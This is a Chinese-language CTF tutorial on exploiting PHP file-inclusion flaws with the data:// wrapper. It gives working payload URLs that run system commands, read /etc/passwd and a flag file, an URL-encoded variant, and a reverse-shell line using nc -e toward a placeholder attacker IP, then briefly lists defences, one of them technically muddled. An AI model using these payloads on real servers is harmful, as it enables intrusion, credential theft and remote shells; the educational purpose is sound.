Bootstrap

【CTF】 文件包含漏洞——data伪协议 【详】

data 伪协议的详细介绍

data 伪协议是 PHP 中的一个特殊协议,它允许将原始数据嵌入到 URL 中。通过文件包含漏洞,我们可以利用这个伪协议,将恶意 PHP 代码作为数据嵌入,并让服务器解释执行。该方法适用于无法直接上传文件或插入代码的情况下,非常适合在 Local File Inclusion (LFI) 漏洞中执行任意命令。


data 伪协议的基本原理

  • data 伪协议 格式:
    data://[<MIME-type>][;charset=<encoding>][;base64],<data>
    • MIME-type:指定数据的类型,默认是 text/plain
    • charset:指定数据的编码类型,如 utf-8
    • base64:如果使用 Base64 编码,则加上该标识。
    • data:实际的数据内容。

在 LFI 漏洞中,我们可以利用这个协议直接嵌入 PHP 代码并执行。


data 伪协议的应用场景

1. 执行系统命令

通过 PHP 的文件包含漏洞,可以让 data 伪协议嵌入系统命令并执行。例如:

  • URL:

    ?file=data://text/plain,<?php system('ls'); ?>
  • 原理:
    这会将 <?php system('ls'); ?> 当作 PHP 代码执行,并列出当前目录中的所有文件。如果目录中有 flag 文件,攻击者就能看到它的名称。

2. 读取敏感文件

有时目标文件位置未知,可以尝试使用系统命令 cattac 读取文件内容。

  • URL:

    ?file=data://text/plain,<?php system('cat /etc/passwd'); ?>
  • 效果:
    执行该命令后,系统会将 /etc/passwd 文件的内容显示在页面上。该文件中可能包含用户账号信息。


data 伪协议的编码形式

有些服务器可能不直接执行原始的 PHP 代码,需要将数据进行 URL 编码

  • URL 编码后的请求:

    ?file=data://text/plain,%3C%3Fphp%20system%28%27ls%27%29%3B%20%3F%3E
  • 解释:
    这里将 <?php system('ls'); ?> 编码成了 %3C%3Fphp%20system%28%27ls%27%29%3B%20%3F%3E。浏览器会自动解码这些字符,让 PHP 引擎可以解析执行。


data 伪协议的优劣分析

优点:
  1. 绕过上传限制:不需要上传文件,只需通过 URL 注入代码即可。
  2. 绕过 WAF:大部分 Web 应用防火墙可能不会检测到这种方式的攻击。
  3. 灵活性强:可以直接执行 PHP 代码或系统命令。
  4. 不需要知道敏感文件的路径:通过 system('ls') 等命令,可以动态查找目录中的文件。
缺点:
  1. 依赖 PHP 配置:如果服务器禁用了命令执行函数(如 system()exec()),攻击可能失败。
  2. 需要 LFI 漏洞:这种攻击方式需要目标存在文件包含漏洞才能生效。
  3. 字符限制:某些服务器可能对 URL 长度或字符类型有限制,导致无法顺利执行复杂的代码。

实战案例

假设我们发现一个存在 LFI 漏洞的网站:

http://example.com/vulnerable.php?file=
步骤 1:使用 data 伪协议列出文件

我们可以构造如下请求,列出目标目录中的所有文件:

http://example.com/vulnerable.php?file=data://text/plain,<?php system('ls'); ?>

效果: 如果目录中存在 flag.txt 文件,输出会是类似这样的结果:

index.php vulnerable.php flag.txt
步骤 2:读取敏感文件

接下来,我们尝试读取 flag.txt 文件的内容:

http://example.com/vulnerable.php?file=data://text/plain,<?php system('cat flag.txt'); ?>

效果: 如果成功,页面会显示类似这样的输出:

flag{12345abcdef}
步骤 3:动态执行任意代码

我们可以通过这种方式执行任意 PHP 代码。例如,我们想执行反向 Shell 连接到攻击者机器:

http://example.com/vulnerable.php?file=data://text/plain,<?php system('nc -e /bin/bash attacker_ip 4444'); ?>

效果: 这会在目标服务器上打开一个反向 Shell,连接到攻击者的 IP(attacker_ip)上,端口为 4444。


如何防御 data 伪协议攻击

  1. 严格验证用户输入:确保所有包含的文件来源可靠,并且限制文件路径在指定目录内。
  2. 禁用不必要的 PHP 函数:在 php.ini 中禁用如 system()exec() 等函数。
  3. 限制伪协议的使用:可以通过设置 disable_functions 禁用某些伪协议。
  4. 使用 WAF:配置 Web 应用防火墙来检测并阻止常见的 LFI 攻击。

总结

data 伪协议是一种强大的工具,允许攻击者在文件包含漏洞中执行任意代码或命令。它的灵活性和绕过限制的能力,使其在安全测试中被广泛使用。但其有效性依赖于服务器的配置,因此加强输入验证和服务器配置,是防御这种攻击的关键。

data://text/plain 的含义

text/plainMIME 类型,表示嵌入的数据是纯文本。不同的 MIME 类型告诉程序如何解释数据内容。


text/plain 的具体含义

  1. text/plain MIME 类型
    • 表示数据是普通文本文件,没有任何特定的格式或编码。
    • 在 PHP 的文件包含漏洞中,当使用 data://text/plain 时,PHP 会将数据视为纯文本进行读取。
    • 但是,如果该文本数据本身是 PHP 代码(如 <?php system('ls'); ?>),且它被 include()require() 等函数加载,那么它会被当作 PHP 代码解析和执行。

data://text/plain 的实际作用

在 LFI 漏洞中使用 data://text/plain 可以让我们通过 URL 注入 PHP 代码,并且这些代码会在服务器端执行。

示例:执行系统命令
  • URL:

    ?file=data://text/plain,<?php system('ls'); ?>
  • 解释:

    • data:// 告诉 PHP 加载内联数据。
    • text/plain 表示数据是纯文本类型,但在通过 include() 加载时,PHP 会解析文本中的代码片段(如 <?php system('ls'); ?>),并将其执行。

常见 MIME 类型和区别

  • text/plain:普通文本,不含格式。
  • text/html:HTML 文档,浏览器会将其解析为网页内容。
  • application/json:JSON 数据格式。
  • application/php:专门表示 PHP 文件的 MIME 类型。

即便我们使用了 text/plain,当文本内容包含 PHP 代码,且文件是通过 include() 之类的函数引入时,PHP 仍会执行这些代码。


为什么使用 text/plain

  1. 兼容性高:大部分系统和应用默认支持解析 text/plain
  2. PHP 自动解析:即便声明为纯文本,只要文本中有 PHP 代码,PHP 会将其解析。
  3. 简洁:不需要复杂格式或特殊编码,直接嵌入和执行代码。

总结

data://text/plain 的作用是将嵌入的纯文本作为数据传递。但在文件包含漏洞中,它可以被用来嵌入并执行 PHP 代码,从而实现命令执行或敏感文件读取。虽然 MIME 类型是 text/plain,但 PHP 会解析并执行其中的 PHP 代码。这种用法非常适合渗透测试中的 LFI 攻击。

;